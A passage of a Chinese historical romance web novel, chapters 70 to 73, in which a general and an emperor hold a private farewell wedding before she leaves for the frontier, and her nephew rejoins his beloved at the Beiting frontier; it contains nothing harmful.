赵平涓好似读出了赵平澜眉宇间的惋惜,小心试探了声:“二姐?你怎么了?” 赵平澜回过神,摇头说:“没什么。” 赵平涓还以为眼前人是不愿提及关于北庭的事,便转而岔开了话题,“二姐,我最近跟宫里的画师新学了个画法,你有空闲吗?我给你画张画像吧,让我想你的时候,也能看看你的模样。” 她其实没期待着二姐能应下,因为往前赵平澜最厌倦这些麻烦的东西。 没成想,眼前人却抬起头出意料应了声:“好。”- 离开恩庆殿的时候,黄昏将近,残阳下的宫城最是悲凉。 赵平澜踽踽独行,看鸿雁划过天空,宫人行色匆匆,她一路由北向南,走过了数不清的宫舍。 直到路过垂拱殿前的空地,她黯淡的眼眸,才被手持灯盏的宫娥照亮,她们手中随风摇曳的灯盏,照不亮深宫的空寂,却将眼前那个英武的身影拉长。 赵平澜定身不动,宫娥趁势低声说:“可算找到您了。” “找我?”赵平澜不解。 宫娥却邀了她往丰德门的城楼上去,她这才心领神会,原是贺鹮归找她。彼时,宫城之上风雨欲来,赵平澜眯起双眼道了声:“带路吧。”便不再言语。 她想该来的终究会来。 于是乎,她不再躲避,就那样坦然登了丰德门去- 城楼上的晚风肆意,吹皱圣人衣袍。 赵平澜顿在最后一阶楼梯上举目望去,贺鹮归一身绣金龙袍矗立,她眼中的清冷年少早已成为了无情帝王,他们之间的距离也早已隔了万里之遥。 贺鹮归察觉到背后木阶发出的响声,便知是她来了。 他没回头,第一句话就是问赵平澜,“既然你把一切都算好了,为什么还要回来?” 赵平澜抚袍登阶,缓缓走到天子身边坦言:“这不是陛下想要的吗?” 贺鹮归却忽而大笑。 他的笑中满是苦涩,原来一切都是他在自欺欺人。 他在垂拱殿里将故岚请求和谈的奏折翻了许多遍,每看一遍都是如鲠在喉的哽咽,殿中老臣声声喜悦的恭贺,在他看来都是刺耳的存在,可若说朝廷赢了,他不喜吗? 他喜。 但他很清楚,这也意味着他要彻底失去她了。 边境初定,赵平澜立下战功,自是不能贸然换掉这个威名远扬的北庭都护,若是他此时执意将赵平澜留在洛阳,留在自己身边,故岚那边必定趁机再起战祸,百官也必定群起而攻之。 贺鹮归退无可退,江山和爱人再难两全,他的所有执念都被压在了明晃晃的王座之下。 他们的结局一目了然。 赵平澜了解他,眼前人爱皇位胜过爱她千百倍,所以她才会选择用这种方式和他对抗,她要他亲自放开他的手,亲自说出与她道别的话,她想好聚也好散。 可贺鹮归不甘心,“赵二娘,这就是你想要的?可你明明爱我,为什么从来不愿为我做些让步?你究竟明不明白,这一别,我们大抵这辈子都不会再见了——还是说,你压根就没打算与我再见!” 贺鹮归终于说出了心里话,他就是偏执地想要拥有她,不论眼前人是否愿意,他只要一个结果。 赵平澜叹了口气。 她面对起眼前人声嘶力竭的质问,看上去有些无动于衷,实则心下却是无尽的酸楚。她赶在消息传来王城之前赶回,就是为了能再见见他,跟他好好作个别。 赵平澜转眸眺望去王城的锦绣灯火,冷静地与之说:“鹮归,你不是也一样吗?你难道就能为我,放弃所拥有的一切吗?” 贺鹮归哑口无言,很显然他做不出的选择。 赵平澜没有失望,眼前人的默而不答也未曾出乎她的意料,“与其在岁月的蹉跎中互相厌倦,倒不若给彼此留些念想,你不觉得或许不再相见,才是咱俩最好的结局吗?” “……” 贺鹮归的沉默比夜还漫长。 他比谁都清楚,赵平澜是翱翔九天的鹰,不是他能困在笼中的雀,他只是不愿承认罢了。他亦是知晓,如果强行将她留在自己身边,最终的结局也只会是两败俱伤。 赵平澜静静地等,等到他愿意开口。 很久之后,晚风似是吹醒了贺鹮归,他在别无选择间,不情不愿地张口:“赵卿既然算好了来路,自是也算好了归途,打算何日启程?” “下月初四。” 果不其然,赵平澜是有备而来。难怪那时面对自己,态度竟是那般坚决。贺鹮归垂了眸,朝她提了最后一个要求,“走之前回趟王府吧,朕会在那等你。” 赵平澜本想下意识地追问为什么,却在转头时望见贺鹮归落寞地离去。 她便沉沉应了声:“好,我知道了。”【你现在阅读的是魔蝎小说 moxiexs】 70-74 第71章 第71章好聚好散 赵留行惊醒在四下无人的夜里,他打二姑离开后,一直睡到了现在。 期间他做了个很长的梦。 梦中的柳善因没有如期抵达北庭,亦没有将他们的新家打扫,当他满心欢喜地奔向南院后,一切都是他离开时的模样,蒙尘的桌台与衰败的藤蔓历历在目,却独独没有柳善因的存在。 哪怕他抓了狂的找寻,剩下的也只是一无所获。 赵留行垂眸坐在床边喘着粗气,梦里痛心疾首的感觉让他惊出一身冷汗,他从小到大没有期待过什么,更没有如此渴望或者恐惧过什么。 直至遇见柳善因,才让他知道,原来自己还可以过另一种生活。 额头的汗水,缓慢淌过他的鼻尖。 赵留行还没缓过神来。 赵平澜却趁月色推门而来,她嗅见屋中死气沉沉,有些不解地冷笑,“哼,人走了,魂也跟着丢了?没出息的家伙。” 赵留行抬起头,没有回应她,赵平澜便坐在离他不远的桌案前,环起双臂,“你给我准备的饭呢?不知是谁说今晚定是让我吃顿好的?” 她打趣眼前人。 赵留行却忽而开口与她说:“二姑,我已经想好如果下月初四咱们还是没有办法离开,我哪怕辞官也要去追小柳,您要打要杀随便,但是无论如何我都要见到她,我不能再等下去了。” 话音落去,赵留行俨然做好了二姑会勃然大怒的准备,不成想,自丰德门归来的赵平澜竟一反常态,平静地盯着床铺的方向轻声问:“她对于你来说就这么重要?” “重要 。“赵留行不假思索。 赵平澜继而追问:“那这么说,那日若柳娘子没有逃往北庭,你便会为了她彻底放弃自己的前程,乃至所有努力,最后只为能见到她,和她在一起?” 这话问出口的一瞬,连赵平澜自己都觉得不可思议。 可每个人一生追求的东西,都是不同的。贺鹮归想要江山,她想要前程,而赵留行却只想要柳善因…… 赵留行坚定不移地说:“是。” 赵平澜愣而不语,她好似永远也不可能从某人口中听到这样笃定的答案,她有些失落地喃喃:“原爱一个人是这样,除却对方,就不再做第二个选择。” 看来爱这件事, 大抵是她一辈子也学不明白的东西。 “您说什么?”赵留行不明所以,他看着眼前人实在有些抱歉。他知道二姑始终一心为他好,可自己却辜负了她这么多年的培养。 怎料,赵平澜在沉默许久之后,只沉声道出一句:“故岚派人来和谈了。” “故岚……和谈?” 赵留行不可思议,“您真把这块硬骨头拿下了!” 赵平澜却十分淡然地起身,“所以你个王八小子也不必想什么乱七八糟的,就把心放肚子里,准备好下月初四跟我回北庭找你的小柳去吧,没有人会再提及你的那件事了。” 赵留行闻言喜出望外。 他飞走的魂魄好似在赵平澜的话语里又飞了回来,瞧他从床边站起扬声道:“您去哪啊?” “回屋睡觉。”赵平澜头也不回地抬脚向外。 赵留行追问她:“您不吃晚饭了吗?” 赵平澜摆摆手,“不饿。”她本以为自己能就此离开。没成想,身后人忽而唤了声,“二姑。” 她闻言停下脚步,有些不耐烦,“又作甚!” 赵留行却在她离开前,郑重道出一声:“谢谢,不止是这件事,从前也是,二姑真的谢谢。” 赵平澜定在廊下没说话。 她未曾料从来不懂表达的臭小子,竟然跟她说出这句话,可这件事其实自始至终应是她跟赵留行道声抱歉才对,她便垂眸道了声:“有什么可谢的,我们不是一家人吗?” 赵留行抬起头门廊空荡。 他难以置信地望向沉寂的远方,他亦如赵平澜一般,觉得对方疏忽之间变了许多……- 离开的前一天傍晚,赵平澜收到了段翁传来的消息,因为之前答应了贺鹮归,她便没去推脱。只是,她要选择自己的方式去见他,而不是坐上他派来的宝马香车。 赵平澜走过连廊,瞧见赵留行在院中捣鼓娃娃的摇篮和坐床。 她不解去问:“明日就走,你这是做什么?” 赵留行回过头,手中还握着拆下来的木栏杆,“哦,我把东西拆了给小宝带回去。” 赵平澜盯着一地的零零碎碎诧异道:“这些东西也要带?到了北庭让人再做新的不成?你就差这几个钱——你莫给我丢人,等回去了我出钱给你找个木匠,你快省省力气吧。” 赵留行却摇头带着马上就能和柳善因见面的喜悦,欢声说:“非也,这小床小宝睡习惯了,新做的岂能跟这个相比?您的好意,我们心领了。您有这钱,不若等我娶亲的时候多出些礼金!” 我们? 这就成我们了? 赵平澜冷笑一声穿过连廊懒得搭理。 赵留行望着她离去的背影张口问:“诶,这么晚了,您去做什么?” 赵平澜却抛下一句:“不知。”便扬长而去,留他一人茫然。 可事实上赵平澜所言非虚, 她确实也不知旧时的王府,到底有什么变数等着她……- 梁王府中庭树苍翠,到处保留着贺鹮归在时的痕迹。 这么多年过去,哪怕他早已深居大内,却还是一直派人将此地照看打扫,因为这里藏着太多他人生中最美好的回忆,他也曾幻想过,如果赵平澜能留下,他便往后每年和她两个人在这儿小住一段时间,过一过寻常夫妻的生活。 可惜事与愿违,他的梦终是要醒了。 那晚赵平澜触动了他,他也慢慢察觉,或许分别才是他俩最好的结局吧。 事已至此,贺鹮归再利用赵留行已没有了意义,他想倒不若让自己在她的回忆里留些好印象,何至于让她恨着离去。只是,贺盈安总为这事扰他清净,他又岂能轻易饶恕? 况且,她不是十分中意贺松月,他便满足她。 庭树之下,女官拱手而来,沉稳的声音落在贺鹮归耳畔,“启禀圣上,滏阳郡主和赵家老七赐婚的圣旨,已经按照您的意思传下去了。” 贺鹮归听闻面无表情地拂袖,“退了吧。” 女官躬身退去,又忽而被他叫住,“等等——” “圣上有何吩咐?”女官回头。 贺鹮归眯起眼睛直言道:“你派人去告诉二姐,她胆敢抗旨来闹,就给朕把家迁到黔州去。” “是。”女官颔首离去。 院中就只剩了贺鹮归一人盯着那棵梨树发呆。 当往事重现于眼前,他甚至有一瞬在想,当年若是推开那个放肆的女郎,自己是不是就不会像现在这样悲痛不已?可他却很清楚,若是重来一次,还是会沉沦在她如沧海般深沉的眼眸里。 “梁王殿下,在做什么?” 今日残阳如画,明天定是个难得的好天。 贺鹮归从回忆里抬眸,正与墙头翻身而来的赵平澜对上目光。 残阳耀眼,他却为了能瞧清眼前人的眼睛没去躲避。 “朕…本王在等你,赵二娘。” 贺鹮归负手而立,挺直的背脊上满是天子的傲然,“本王还以为你今日不会来了。” 他努力收敛锋芒,模仿起往昔里自己的模样。 赵平澜平稳落地,此刻的她就跟从前无数个偷跑来的黄昏一样,站在墙根冲他微笑,贺鹮归也望着她勾起唇角,可笑着笑着,他便再也笑不出来了。 “答应了你,我自然会来。”赵平澜察觉出他的低落,未曾靠近,她站在原地恢复了往日的平淡张口道,“只是你叫我来,定不是为了像现在这样什么话也不说。” 闷热的风吹散贺鹮归眼中的愁,他凝视着光影中的赵平澜唐突道出一句:“二娘,求你嫁我。” 赵平澜随之愣而无言。 她猜了千万种可能,却唯独没想到贺鹮归会这样说。 赵平澜不解,他缘何要这样做? 难不成,他又反悔了? 贺鹮归却抬脚走去,将手缓缓伸在她的面前诚恳道:“这件事我整整盼了十二年,能让我瞧瞧你为我穿喜服的样子吗?哪怕是做一夜夫妻,也能叫我死而无憾。这是我今日叫你来的目的,也是我最后的请求。” 赵平澜看贺鹮归的手悬在半空,神色略显迟疑。 “若你不愿大可离开,我不拦你。”贺鹮归等来等去,终究没能等到她递来的手掌,便失落落垂眸,可未等他转身,赵平澜竟破天荒地抓住了他堪堪落下的掌心。 贺鹮归蓦然回眸,听身后人难得吐口说:“想和我成亲没那么容易,殿下可准备好了?” “你……” 贺鹮归听她这样说,还以为自己出了幻觉。 没成想,赵平澜紧握着他的掌心,催促道:“行了,多余的话少说,天色不早,领我瞧瞧喜服去吧。”- 贺鹮归为今晚的事,筹划了许久。 今日之前,他练习过千千万万句告白,也想过千千万万种不欢而散的结局,却唯独不曾料到她能答应的这般爽快。幸福来得有些突然,叫他的眼神再也无法从她的身上移开。 赵平澜穿过游廊打眼瞧,曾经与身边人共居的楼阁束起红绸,剪纸贴满花窗,便知贺鹮归为了这事用了多少心。 她亦不想他有遗憾,才会愿意留下来。 “见过娘子,见过郎君。” 跨进灯火通明的高阁,赵平澜听见分列两旁的宫人忽而这样称呼他们,转眸惊讶地望向贺鹮归。 贺鹮归却说:“是我让他们这么称呼的,今日我不是梁王,你也并非护军府赵家的贵女 ,咱们两个就是对普通人家的寻常夫妻,不知你可对我的安排可满意?” 赵平澜微微摇头,眼前人还真是像从前一样懂风月,也懂情趣。 不像她,无味也无趣。 贺鹮归知晓她那副样子,赶忙拉着她去了妆台。 赵平澜望着整齐摆放的钗冠,以及大红色的绣金喜服,顿时无言。彼之,铜镜里倒影出二人眉眼,一浓一淡,赵平澜应是这辈子也不会想到自己还能有穿上这身行头的一天。 她伸手拂去喜服上的纹路。 贺鹮归在旁试探着问:“喜欢吗?这身衣裳上的绣样是我画了许久,才亲自交给尚服局赶制的。” 赵平澜依旧不言,她已不知该用什么言语来表达,自己那五味杂陈的心绪。 贺鹮归跟身旁的人使了个眼色。 宫人见状蜂拥而至,他便悄然退了出去- 旧时梨花树下,摆着一张小小的桌案,上头合卺的酒,结发的梳亦是整整齐齐。 贺鹮归换罢衣衫,安静地坐在树下等待求娶他期盼了十二年的新妇,今日他未按照旧俗布置喜堂,他特意将拜天地的地方安排在第一次动情的梨树下,就是为了给过去的时光一个了结。 片刻过后,当赵平澜一袭红衣变成他梦中的模样出现,贺鹮归再也控制不住自己的情绪,潸然泪下。他果然只有面对她才会这样脆弱。 温润的眼眸,将爱人的面庞模糊。 贺鹮归在动容之余,居然开始惧怕自己会有一日记不起她,这场离别比赵平澜无声无息地离开还要让人痛心,他再也盼不得她回头了…… 赵平澜的情感不胜眼前人丰富,可她虽静静地望着,但心里亦是隐隐作痛。 她提裙上前,俯身将人抱住。 贺鹮归就跟那年先皇后宾天时一样,没有丝毫戒备,轻轻将头埋在她的颈间。赵平澜伸手轻轻揉搓他的背脊,在烛光里沉声相问:“鹮归,后悔认识我吗?” 悔,悔透了。 赵平澜想贺鹮归应是这样作答。 谁知,贺鹮归却带着泪眼朦胧抬头说:“你后悔认识我吗?” “不悔。”赵平澜第一次答得这样干脆。 可她确实不悔,当年若没有贺鹮归的存在,她又该如何熬过那些冰冷且孤独的夜?如何抚平在赵家受到的不公?眼前人给了她温暖,也给了她无人给予的爱意。 只是,等他们再见面,虽都已成为了更好的人,却再也无法成为彼此的爱人…… 贺鹮归听到这样的答案,恍惚一瞬,与从前和解。 他道:“我亦如是。” 赵平澜微微笑,贺鹮归再次牵起了她的手,两人就这么互相搀扶着起了身。 他忍不住赞叹,“你今日真好看。” “我知道。”赵平澜顺了顺衣摆,“咱们的天地就在这儿拜?” 贺鹮归嗯了一声。 赵平澜向来随性,并未在意太多,她只管跟着他便好。 今朝这场婚礼没有宾客,没有高堂,亦没有世人的恭贺,有的只是二人并肩站立,冲着繁茂的梨树,以及广袤的天地,郑重一拜。而后夫妻相对,两双明亮的眼眸中,皆是诉不尽的衷肠。 赵平澜先弯了腰,贺鹮归这才缓缓拜下。 至此起身, 二人之间夙愿尽散。 随之树下对坐,贺鹮归捧起合卺酒的一半,坦然接受了现实,他望着赵平澜的眉眼,在饮酒前祝愿:“夫人,明朝西去一路顺遂,亦望你好好活着。” 赵平澜沉默半晌,十分生疏地轻唤:“夫君……” 贺鹮归闻之笑而不语, 他当死而无憾。 “珍重。” 第72章 第72章有点丢脸 后来的某日,贺鹮归像往常一样路过恩庆殿。 段翁原以为天子今日也会不屑一顾地离去,便不由得叫人加快前行的脚步。 没成想轿辇上的人却道了声:“停下。” 段翁举目探看,“陛下有何吩咐?” 贺鹮归单手撑着眉尾百无聊赖地说:“赵淑妃今日有往别处去吗?” “应是未曾,淑妃娘子平日鲜少出门,就是出门也只往画院跑。”段翁拱拱手,似是猜出天子话里的用意,“陛下要去恩庆殿瞧瞧吗?约摸着垂拱殿那边,人大抵还没到。” 贺鹮归嗯了一声,没有多言。段翁便扬声道是:“落辇——”- 恩庆殿后有张长案,赵平涓无事就喜欢半趴在上头写诗作画,有时废寝忘食,甚至能画到三更天去。 今日亦是一样。 午时的饭搁在桌边,过了未时,也没见她动筷。偏赵平涓还安时处顺,怡然自得着。毕竟如今的生活对自小便被处处要求,条条规训的她来说,已算不错。 赵平涓很知足,才会感到幸福。 彼时,殿中气氛轻松,值守的宫娥坐在殿门口的暖阳里打着盹。 倏忽之间一阵阴冷的感觉钻进衣袖,宫娥迷迷糊糊睁眼,差点没被天子的圣驾吓飞了魂。恩庆殿从上到下都是一样的卑躬屈膝,宫娥立刻趴在殿前的丹樨上颤抖着问:“拜,拜见圣上。” 贺鹮归瞥了她,“淑妃呢?” “娘子在,在后头画画……”宫娥不敢抬头,贺鹮归抬脚拂袖,“你们不用跟着。” “是。”段翁识相将人都留在了殿外- 贺鹮归悄然去到殿后,举目却见数不尽的纸团被人乱弃在桌案两边,瞬间露出些嫌弃的神情。 赵平涓拿起画笔挠了挠脑袋。 不见皇帝的时候,她也不爱戴那些沉重的珠冠。 赵平涓私以为是宫娥过来催促自己用饭,便头也不抬地敷衍,“好了好了,我知道要吃饭了,莫要再催。二姐的眼睛最是难画,就差一点就好,你别打搅我作画,容我好好琢磨琢磨!” 上次给赵平澜画得匆忙,赵平涓对那副画怎么也不满意,这不重新请教了画院的画师,她便趁热打铁,又将赵平澜的画像临摹了一遍,却还是差点意思。 贺鹮归负手而立,一听闻二姐两字,瞬间变了脸色。 他动身来到桌案前,盯着赵平澜的画像愣而无言。 赵平涓看着桌案上倒影出的影子觉得不对劲,这才恍然抬眸,瞧清了来人的模样。 她慌张大呼:“圣上——” “您怎么来了……” 贺鹮归看了赵平涓一眼,没作搭理。 赵平涓下意识就要顺着桌案,向前跪去,却被贺鹮归冷声喝住,“这么喜欢跪,不若送你去观音院当姑子?日日长跪佛前,还能求个功德圆满。” “妾,妾身……” 赵平涓被眼前人吓得站也不是,跪也不是。她于案前踟蹰,贺鹮归却缓缓走来夺去她手中画笔,默然挽袖于画中人的眉眼上添笔。 贺鹮归行云流水,落笔时没有丝毫犹豫。 赵平澜的眉眼,是他此生也无法忘怀的悸动,他早已深刻在心。 赵平涓见状在旁小心翼翼地打眼瞧,却被贺鹮归惊人的一笔吓到,她忍不住出言称赞,“天啊,圣上画得真是传神,正是妾身心中二姐的模样!” 贺鹮归没作声,他捻着画笔垂眸盯着画中人一言不发。 离京将近半月,她到哪了? 贺鹮归的思绪飘忽,一直飘向那晚的烛影摇红,他在头一遭餍足后,再次起身将枕边人翻了个面,赵平澜趴在铺上头脑清醒,身后的新郎却不知沉沦去了何方。 她知晓他要再做些什么,便在他行动前反手抵住身后人的胸膛沉声道:“能答应我件事吗?” 贺鹮归有些忘情,他握住她的手掌冷笑两声:“扫兴,你就非得现在说吗?” 赵平澜也是怪脾气,她塌了腰,打算翻回去,贺鹮归见势赶忙拽住她的手臂示好道:“这就生气了?赵平澜,你对我还真是半点耐心也无——行了,说来听听。” “我要你答应我,无论往后赵家或兴或衰,都要保平涓安然无恙。她跟他们不一样。” 赵平澜想倘若现在不说,恐怕再也没有机会说了。 贺鹮归闻言甩去她的 手臂,带着些许狠厉覆在她伤痕累累的背上。赵平澜感受着他的重量,并未做出“反抗”,她听贺鹮归在她颈后压低声音道:“好,我答应你,但……” “你是不是也该拿出些诚意?” 那夜漫长,他好似将这么多年积压的火气都散在了她身上。 贺鹮归敛起目光,将手中点睛的笔搁下,忽而望向奉令唯谨的赵平涓,他纳闷眼前人缘何跟赵平澜半分也不一样,她没有她的锋芒,也没有她的张狂,可为着赵平澜的承诺,他还是得做些什么…… 赵平涓被贺鹮归看得发毛,胆怯地垂下了头,全然未曾察觉眼前人步步逼近。 她屏住了呼吸,贺鹮归却在离她半步的地方停下脚步。 他就这么盯着她的发顶沉声说:“阿止将满六岁,一直放在景福殿养着也不是办法,总需要个母亲关怀教导,瞧你如此精通诗词书画,便放到恩庆殿照看吧。” “是……啊?”赵平涓被贺鹮归弄得懵了头脑。 她不敢置信地抬头,眼前人居然要将唯一的皇嗣送到她这儿抚养——贺鹮归常年不入后宫,唯一的孩子还是钱家下药设计得来,将来也未必能有所出,那不就意味着,叫她做太子的养母。 自己倒霉了半辈子,这样的好事还能轮到她头上! “怎么?淑妃是不愿?”贺鹮归有些不耐烦。 叫他宠幸赵平涓是万万不可能,可将来能保住她的办法,只有让她有子嗣傍身。 所以将大皇子过继给她,成了最万全的办法。 赵平涓扑通一声跪了地,这还是她入宫后第一次心甘情愿地跪下,“愿,妾身愿意!圣上放心,妾身定不负圣上重托,悉心照料大皇子的起居。” 贺鹮归心事已了,转身就走。可等他行出几步,又掉头回来冲桌案边跪着的淑妃张口说:“画画好了就挂起来吧,这幅画不错。”- 北庭一程漫漫,柳善因和徐玉之带着孩子抵达都护府的时候,盛夏都已过半,尽管一路风尘仆仆,但柳善因来到南院后,依旧干劲十足,休整了半日便开始整理起新家。 这是她住进南院的第三日,院中井井有条,也有了些许烟火气。 早起出门闲逛,柳善因连说带比划从市集上买回不少,往前见都没见过的果蔬,预备做给嫂嫂尝尝,虽说她跟当地的人语言不通,也不太适应这里的天气,但还是被他们的热情和淳朴打动。 柳善因感受着不同的风土, 很是期待着新的生活,期待着赵留行…… 晌午坐在院中摘菜,徐玉之一边背着熟睡的小家伙,一边和柳善因聊天,仿若回到了从前的安宁日子,经过这些时日的相处,她与儿子的联系亦是愈发紧密。 她啊,半分也不后悔跟小妹逃出四千里,来到这柳徽曾为之拼尽全力的地方。 “嫂嫂,你说咱们这一路走的怎么这么顺利呢?什么坏事都没有碰到,是不是地姥娘娘保佑着我们啊,让咱们要什么有什么,想什么来什么。”柳善因扒着新鲜的菠菜,嘴里喋喋不休。 徐玉之跟着附和:“诶,真是奇怪!那日刚出洛阳小宝哭闹,我们只是随便念叨着若是有羊奶,亦或是米汤喂喂孩子便好了。谁知第二日,就刚好碰上头产奶的母羊。” “对对,还有……” 柳善因点点头,“咱不是听说陇右那边流寇猖獗,结果一路上半个流寇的影子也没见着。” 话音落去,姑嫂两个一对眼神,竟纷纷合掌感谢起了地姥娘娘。只是她们不知,在顺着她们合掌方向的门外,有两个暗地里一直“保佑”她们的女将。 “走吧,地姥娘娘。”逐电转眸看了眼火玉,火玉随手给了她一拳,“去你的,没大没小。” 两人偷摸观察了几日, 也算就此交差,转身便回了大营而去。 柳善因不明所以,随手倒了洗菜的水,刚打算去西院打水做饭,就被徐玉之拦下,“小妹,把水桶给我吧,这几日你辛苦,正巧也叫我活动活动。” “嫂嫂,你带着小宝不方便,还是我去吧。”柳善因与徐玉之推让,结果却败了下风。 她便只得叫眼前人慢些。 徐玉之走了,柳善因又重新坐回了板凳上。 连日的奔波,叫她根本没有时间胡思乱想,如今安定下来,瞧她随手拿起盆中干净的胡葱搁在身旁的案板上,边切边想起了赵留行,赵赵将军什么时候回来呢? 自己已经快两个月没有见过他了,他说得很快到底是何日?为什么现在也没有消息?他该不会为了自己被逼着娶了郡主,甚至已经和她……那再过几个月,他们是不是就会有…… 这样的话,他该不会忘了自己吧! 柳善因切菜的手逐渐加快,新鲜胡葱弥漫在空气中的汁液,让她忍不住泪流满面。便是趁着胡葱催泪,柳善因越想越委屈,竟从小声抽泣,变成了嚎啕大哭。 她搁下菜刀,伸手将脸上的泪水擦了又擦,眼角却越来越辣。 柳善因生来不是个勇敢的人,她能苦撑着走到这里,已经付出了极大的努力,她将这些年来的所有苦楚,以及对赵留行的所有眷恋,都和着胡葱的辛辣痛快落下。 “呜呜,赵赵将军,呜呜,你在哪,你怎么还不来——我,我不想你娶别人呀。” “我好想你啊!” 柳善因掩面大哭,丝毫没有察觉有人在她面前气喘吁吁蹲下。 “谁说我要娶别人了?” 赵留行一路日夜不休,快马加鞭,就是为了能早些见到柳善因。谁成想,他堪堪进门,就瞧见眼前人在这儿嚷嚷着他要娶别人,这跟他想象中的重逢半点也不一样。 柳善因闻言迟疑着挪开手臂。 可等她望见那张熟悉的脸,便瞬间尴尬地把嘴抿成了一条线,眼泪也给硬生生憋了回去。 此时此刻,她真是恨不能找个地缝钻进去! 第73章 第73章会错了意 柳善因怯生生挪开目光,有些羞于面对眼前人,她本来只想趁着胡葱的那股子辣劲,好好宣泄宣泄自己心里的苦闷,没成想竟正正好跟赵留行撞上。 真,真是太丢脸了! 人尴尬地时候,总是装作自己很忙的模样。 柳善因当着赵留行的面,若无其事地躬身抠起案板上的胡葱,赵留行见状偏噗嗤一声笑了出来,惹得眼前人抬头一脸惑然,他却趁机张开双臂,蹲着同她朗声道是:“过来。” “让我抱抱你。” 柳善因小手搓着案板扭扭捏捏,瞧上去有些害羞。 毕竟他俩已是许久没见,哪怕这一路上自己没少偷偷梦见他,也没少偷偷将他想念,但这一见面就让她立刻与之热络亲昵,着实有些为难含蓄的柳善因。 赵留行却有些幽怨地唤道:“柳善因……” “呵,善变的女郎,适才不知是在这人谁哭天喊地——” 此话一出,柳善因为了堵住眼前人那张臭嘴,不让他再说下去,赶忙识相扑进了他的怀里。 女郎轻轻软软,赵留行一将人抱住就再也不愿撒手。 他贴在柳善因的脑袋边,狠狠嗅了嗅她身上的香,从前就是这魂牵梦萦的味道叫他日日安眠,自柳善因离开后,他已是很久未曾睡个好觉。 赵留行小心揉搓起女郎的背,却在张口时斗胆去问:“你说想我,有多想我?” “……” 柳善因埋在他结实的胸膛里,涨红了脸。 她虽羞于启齿,却打心眼里喜欢赵留行的抚摸,喜欢他热烈的拥抱。直至此刻,她才终于肯承认,她喜欢赵赵将军,根本不是为着什么报恩,而是心甘情愿共度余生的欢喜。 不若,她不会像现在这样一点也不排斥他,甚至心里还会有些痒痒的。 柳善因在赵留行怀里幸福地蹭了蹭脑袋。 赵留行却忽而拢起怀中人的肩,将她从怀里推了出来,只瞧他不解风情地追问:“这才分开多久,怎么就已经与我无话可说了?小柳,你见 到我不欢喜吗?” 柳善因闻言赶忙点点头。 赵留行依旧无解,“那你缘何一句话也不与我讲?你就没什么要与我说的?” “不是的,我,我只不过……” 柳善因支支吾吾,她应是想解释自己激动地不知要说些什么,却怎么也说不明白,她举目盯着赵留行看了半晌,最后索性捧着他的脸颊,悄然吻了上去。 她想就用这个吻代替自己嘴笨的回答吧,希望眼前人能懂她的思念。 谁料,她才堪堪退开, 便见赵留行同她适才一般泪流满面。 柳善因蹲在地上惶然不知措,眼前人的动静就跟自己把他怎么了似的,“赵赵将军,对不起,对不起,我不该这样唐突,我不是故意的!” 可赵留行自然不是对女郎的主动有意见,亦不是感动到哭泣,只是…… “小柳,你,你的手怎么这般辣人——” 柳善因这才恍然大呼:“哎呀,我切完胡葱忘了洗手!”- 用过午饭,赵留行抱着已经长大不少的小家伙在院中玩了半晌,尽管许久未见,小家伙却依旧记得他的味道,和那个宽厚的怀抱,玩闹间二人欢笑不断,甚是亲密。 笑声传进小厨房,徐玉之隔着窗户向外望。 她似是想到什么,转而与柳善因试探道:“诶,小妹,这赵将军回来,要宿在何处?我瞧这院的房间不多,不成你从那屋搬过来与我住吧。” 来的路上,柳善因已经将事情的原委全部告诉了她。 但她作为大嫂,作为柳善因的娘家人,再如何感激赵留行出手搭救,却还是要护着些小妹。 因为他俩这事,只是俩人自己口头上私定终身,总归不清不楚,徐玉之想就算对方是个出身高门的将军又如何?柳善因一样也是她与柳徽的掌上明珠,她不能叫小妹吃亏。 可谁知道,柳善因却傻乎乎地应声说:“不用的嫂嫂,您带着小宝本来就不方便,我就跟赵赵将军住在那屋就好,我俩在洛阳都住习惯了,不碍事的。哦对了嫂嫂,我瞧您一个人带孩子夜里总睡不踏实,不若以后晚上就把小宝放在我们屋中睡觉吧,我们现在可会带孩子了!” 住习惯了?那还得了! 当事者迷迷糊糊,惹得徐玉之这旁观的欲言又止,她不知该如何直截了当地跟小妹张这个口,急了半天,急得自己解开襜裳朝门外走去,“不,不用。” 柳善因望着嫂嫂离去的背影,挠挠脑袋不明所以。 赵留行在门外瞧见柳家大嫂出来,立刻识相起身,恭恭敬敬唤道:“嫂嫂。” 徐玉之有些尴尬,她与眼前人并不熟络,更不了解他。 她只听闻像他们这样的人素来凉薄,便多少有些偏见,她将眼前人小心打量,跟着接过他怀中的儿子沉声道:“赵将军,您还是叫我徐娘子吧。” 赵留行愣了一下,赶忙改口说:“是,徐娘子。” 徐玉之颔首示意,转眸意味深长望了他一眼,便转头离去。 柳善因收拾好手里的活,喜气洋洋地跨出了门,瞧她来到赵留行面前主动拉起他的手掌欢声道:“赵赵将军,咱们走吧,我给你烧水洗澡,这一路你一定很累吧!” 那一吻好似拉近了她和赵留行之间的距离,让她贴在赵留行身边柔声细语地询问。 赵留行却盯着徐玉之转角而去的方向沉声唤:“小柳。” 柳善因嗯了一声。 赵留行茫然开口:“嫂……徐娘子,是不是不太喜欢我?咱们的事,你有跟她解释过吗?” 柳善因不知其解,但她还是脱口而出一句:“怎么会呢?怎么会有人不喜欢赵赵将军!咱们的事,我也跟嫂嫂说了呀,嫂嫂没什么意见,怎么了?嫂嫂跟你说什么了嘛?” 赵留行闻言垂眸望向女郎清澈的眼眸,于不觉间将脑中繁杂抛去脑后。 他想兴许是自己想多了, 便捏了捏女郎的小手笑着道了声:“没什么,走吧。”- 待赵留行洗去一身疲乏推门而来,眼前突然一亮。 记忆中昏暗死寂的屋舍入目时,竟是处处明窗净几,他转眸再瞧,女郎翘脚坐在不远处的圈椅上品尝新买的葡萄,这一刻,他似是觉得日子也就此开始明亮。 柳善因吃到忘乎所以,眯眼直夸这边的葡萄真甜,压根没察觉赵留行到了面前。 直到,赵留行用头轻轻贴了贴她,她才抬头讶然,“赵赵将军,你洗完啦!水温还合适吗?” “嗯,吃什么呢?这般开心。”赵留行明知故问。 柳善因竟还高兴地介绍,“葡萄,我今早上集市新买的葡萄,喏,你尝尝——” 女郎捻起一颗大大方方跟眼前人分享。 赵留行趁机得寸进尺,张口将女郎的手指一并咬下,柳善因瞪大眼睛看着身前的人,一动不敢动,“赵赵将军,你咬我手了。” 赵留行却不予理会,缓缓松口亲吻女郎而去。 柳善因压根来不及反应,葡萄的香甜便在他们的唇齿散开,眼前人穷追不舍,叫她快要透不过气来,她还从未与赵留行如此热烈地“纠缠”过,难免生疏紧张。 她慌忙挠了挠他的手臂,赵留行这才将她放过。 